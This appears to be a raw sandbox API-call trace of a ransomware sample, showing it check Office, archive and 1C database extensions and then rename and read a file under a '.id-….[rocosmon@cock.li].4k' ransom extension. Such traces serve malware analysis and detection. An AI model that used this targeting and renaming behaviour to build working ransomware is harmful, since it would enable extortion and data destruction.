	[0096.017] lstrlenW (lpString=".jpg") returned 4
	[0096.017] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0096.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92
	[0096.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92
	[0096.018] lstrlenW (lpString=".doc") returned 4
	[0096.018] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0096.018] lstrlenW (lpString=".docx") returned 5
	[0096.018] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0096.018] lstrlenW (lpString=".pdf") returned 4
	[0096.018] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0096.018] lstrlenW (lpString=".xls") returned 4
	[0096.018] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0096.018] lstrlenW (lpString=".xlsx") returned 5
	[0096.018] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0096.018] lstrlenW (lpString=".ppt") returned 4
	[0096.018] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0096.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92
	[0096.018] lstrlenW (lpString=".zip") returned 4
	[0096.019] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0096.019] lstrlenW (lpString=".rar") returned 4
	[0096.019] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0096.019] lstrlenW (lpString=".bz2") returned 4
	[0096.019] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0096.019] lstrlenW (lpString=".7z") returned 3
	[0096.019] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0096.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92
	[0096.019] lstrlenW (lpString=".dbf") returned 4
	[0096.019] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0096.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92
	[0096.019] lstrlenW (lpString=".1cd") returned 4
	[0096.019] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0096.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92
	[0096.019] lstrlenW (lpString=".jpg") returned 4
	[0096.019] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0096.020] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0096.020] lstrlenW (lpString="osknumpad.xml") returned 13
	[0096.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0096.332] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=219) returned 1
	[0096.332] CloseHandle (hObject=0x190) returned 1
	[0096.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml")) returned 0x20
	[0096.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0096.332] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0096.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78
	[0096.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78
	[0096.332] lstrlenW (lpString=".doc") returned 4
	[0096.332] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0096.332] lstrlenW (lpString=".docx") returned 5
	[0096.332] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1
	[0096.332] lstrlenW (lpString=".pdf") returned 4
	[0096.332] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0096.332] lstrlenW (lpString=".xls") returned 4
	[0096.332] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0096.333] lstrlenW (lpString=".xlsx") returned 5
	[0096.333] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1
	[0096.333] lstrlenW (lpString=".ppt") returned 4
	[0096.333] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0096.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78
	[0096.333] lstrlenW (lpString=".zip") returned 4
	[0096.333] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0096.333] lstrlenW (lpString=".rar") returned 4
	[0096.333] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0096.333] lstrlenW (lpString=".bz2") returned 4
	[0096.333] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0096.333] lstrlenW (lpString=".7z") returned 3
	[0096.333] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0096.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78
	[0096.333] lstrlenW (lpString=".dbf") returned 4
	[0096.333] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0096.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78
	[0096.333] lstrlenW (lpString=".1cd") returned 4
	[0096.333] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0096.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78
	[0096.333] lstrlenW (lpString=".jpg") returned 4
	[0096.333] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0096.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78
	[0096.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78
	[0096.333] lstrlenW (lpString=".doc") returned 4
	[0096.333] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0096.333] lstrlenW (lpString=".docx") returned 5
	[0096.333] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1
	[0096.333] lstrlenW (lpString=".pdf") returned 4
	[0096.334] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0096.334] lstrlenW (lpString=".xls") returned 4
	[0096.334] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0096.334] lstrlenW (lpString=".xlsx") returned 5
	[0096.334] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1
	[0096.334] lstrlenW (lpString=".ppt") returned 4
	[0096.334] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0096.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78
	[0096.334] lstrlenW (lpString=".zip") returned 4
	[0096.334] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0096.334] lstrlenW (lpString=".rar") returned 4
	[0096.334] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0096.334] lstrlenW (lpString=".bz2") returned 4
	[0096.334] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0096.334] lstrlenW (lpString=".7z") returned 3
	[0096.334] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0096.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78
	[0096.334] lstrlenW (lpString=".dbf") returned 4
	[0096.334] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0096.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78
	[0096.334] lstrlenW (lpString=".1cd") returned 4
	[0096.334] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0096.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78
	[0096.334] lstrlenW (lpString=".jpg") returned 4
	[0096.334] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0096.335] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0096.335] lstrlenW (lpString="webbase.xml") returned 11
	[0096.335] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0096.339] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1166) returned 1
	[0096.339] CloseHandle (hObject=0x190) returned 1
	[0096.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml")) returned 0x20
	[0096.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0096.339] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0096.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80
	[0096.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80
	[0096.339] lstrlenW (lpString=".doc") returned 4
	[0096.339] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0096.339] lstrlenW (lpString=".docx") returned 5
	[0096.339] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0096.339] lstrlenW (lpString=".pdf") returned 4
	[0096.339] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0096.339] lstrlenW (lpString=".xls") returned 4
	[0096.339] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0096.339] lstrlenW (lpString=".xlsx") returned 5
	[0096.340] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0096.340] lstrlenW (lpString=".ppt") returned 4
	[0096.340] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0096.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80
	[0096.340] lstrlenW (lpString=".zip") returned 4
	[0096.340] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0096.340] lstrlenW (lpString=".rar") returned 4
	[0096.340] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0096.340] lstrlenW (lpString=".bz2") returned 4
	[0096.340] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0096.340] lstrlenW (lpString=".7z") returned 3
	[0096.340] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0096.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80
	[0096.340] lstrlenW (lpString=".dbf") returned 4
	[0096.340] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0096.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80
	[0096.340] lstrlenW (lpString=".1cd") returned 4
	[0096.340] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0096.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80
	[0096.340] lstrlenW (lpString=".jpg") returned 4
	[0096.340] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0096.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80
	[0096.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80
	[0096.340] lstrlenW (lpString=".doc") returned 4
	[0096.340] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0096.340] lstrlenW (lpString=".docx") returned 5
	[0096.341] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0096.341] lstrlenW (lpString=".pdf") returned 4
	[0096.341] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0096.341] lstrlenW (lpString=".xls") returned 4
	[0096.341] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0096.341] lstrlenW (lpString=".xlsx") returned 5
	[0096.341] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0096.341] lstrlenW (lpString=".ppt") returned 4
	[0096.341] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0096.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80
	[0096.341] lstrlenW (lpString=".zip") returned 4
	[0096.341] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0096.341] lstrlenW (lpString=".rar") returned 4
	[0096.341] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0096.341] lstrlenW (lpString=".bz2") returned 4
	[0096.341] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0096.341] lstrlenW (lpString=".7z") returned 3
	[0096.341] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0096.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80
	[0096.341] lstrlenW (lpString=".dbf") returned 4
	[0096.341] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0096.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80
	[0096.341] lstrlenW (lpString=".1cd") returned 4
	[0096.341] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0096.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 80
	[0096.341] lstrlenW (lpString=".jpg") returned 4
	[0096.341] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0096.342] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0096.342] lstrlenW (lpString="web.xml") returned 7
	[0096.342] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0096.342] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=207) returned 1
	[0096.342] CloseHandle (hObject=0x190) returned 1
	[0096.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml")) returned 0x20
	[0096.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0096.342] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0096.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72
	[0096.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72
	[0096.343] lstrlenW (lpString=".doc") returned 4
	[0096.343] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0096.343] lstrlenW (lpString=".docx") returned 5
	[0096.343] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1
	[0096.343] lstrlenW (lpString=".pdf") returned 4
	[0096.343] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0096.343] lstrlenW (lpString=".xls") returned 4
	[0096.343] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0096.343] lstrlenW (lpString=".xlsx") returned 5
	[0096.343] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1
	[0096.343] lstrlenW (lpString=".ppt") returned 4
	[0096.343] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0096.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72
	[0096.343] lstrlenW (lpString=".zip") returned 4
	[0096.343] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0096.343] lstrlenW (lpString=".rar") returned 4
	[0096.343] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0096.343] lstrlenW (lpString=".bz2") returned 4
	[0096.343] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0096.343] lstrlenW (lpString=".7z") returned 3
	[0096.343] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0096.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72
	[0096.343] lstrlenW (lpString=".dbf") returned 4
	[0096.343] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0096.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72
	[0096.343] lstrlenW (lpString=".1cd") returned 4
	[0096.343] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0096.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72
	[0096.344] lstrlenW (lpString=".jpg") returned 4
	[0096.344] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0096.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72
	[0096.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72
	[0096.344] lstrlenW (lpString=".doc") returned 4
	[0096.344] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0096.344] lstrlenW (lpString=".docx") returned 5
	[0096.344] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1
	[0096.344] lstrlenW (lpString=".pdf") returned 4
	[0096.344] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0096.344] lstrlenW (lpString=".xls") returned 4
	[0096.344] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0096.344] lstrlenW (lpString=".xlsx") returned 5
	[0096.344] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1
	[0096.344] lstrlenW (lpString=".ppt") returned 4
	[0096.344] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0096.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72
	[0096.344] lstrlenW (lpString=".zip") returned 4
	[0096.344] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0096.344] lstrlenW (lpString=".rar") returned 4
	[0096.344] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0096.344] lstrlenW (lpString=".bz2") returned 4
	[0096.344] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0096.344] lstrlenW (lpString=".7z") returned 3
	[0096.344] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0096.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72
	[0096.345] lstrlenW (lpString=".dbf") returned 4
	[0096.345] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0096.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72
	[0096.345] lstrlenW (lpString=".1cd") returned 4
	[0096.345] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0096.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 72
	[0096.345] lstrlenW (lpString=".jpg") returned 4
	[0096.345] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0096.345] lstrcmpiW (lpString1=".dat", lpString2=".4k") returned 1
	[0096.345] lstrlenW (lpString="hwrcommonlm.dat") returned 15
	[0096.345] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0096.345] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=46624) returned 1
	[0096.346] CloseHandle (hObject=0x190) returned 1
	[0096.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat")) returned 0x20
	[0096.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0096.346] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0096.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66
	[0096.346] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66
	[0096.346] lstrlenW (lpString=".doc") returned 4
	[0096.346] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0096.346] lstrlenW (lpString=".docx") returned 5
	[0096.346] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1
	[0096.346] lstrlenW (lpString=".pdf") returned 4
	[0096.346] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0096.347] lstrlenW (lpString=".xls") returned 4
	[0096.347] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0096.347] lstrlenW (lpString=".xlsx") returned 5
	[0096.347] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1
	[0096.347] lstrlenW (lpString=".ppt") returned 4
	[0096.347] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0096.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66
	[0096.347] lstrlenW (lpString=".zip") returned 4
	[0096.347] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
	[0096.347] lstrlenW (lpString=".rar") returned 4
	[0096.347] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0096.347] lstrlenW (lpString=".bz2") returned 4
	[0096.347] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0096.347] lstrlenW (lpString=".7z") returned 3
	[0096.347] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0096.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66
	[0096.347] lstrlenW (lpString=".dbf") returned 4
	[0096.347] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0098.246] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
	[0098.250] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0098.250] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc6c | out: lpNewFilePointer=0x0) returned 1
	[0098.251] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc2c | out: lpNewFilePointer=0x0) returned 1
	[0098.251] ReadFile (in: hFile=0x1e4, lpBuffer=0x3370058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c4fc38, lpOverlapped=0x0 | out: lpBuffer=0x3370058*, lpNumberOfBytesRead=0x2c4fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0098.272] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc2c | out: lpNewFilePointer=0x0) returned 1
	[0098.272] ReadFile (in: hFile=0x1e4, lpBuffer=0x33b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c4fc38, lpOverlapped=0x0 | out: lpBuffer=0x33b0058*, lpNumberOfBytesRead=0x2c4fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0098.294] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2c4fc6c | out: lpNewFilePointer=0xffffffff) returned 1
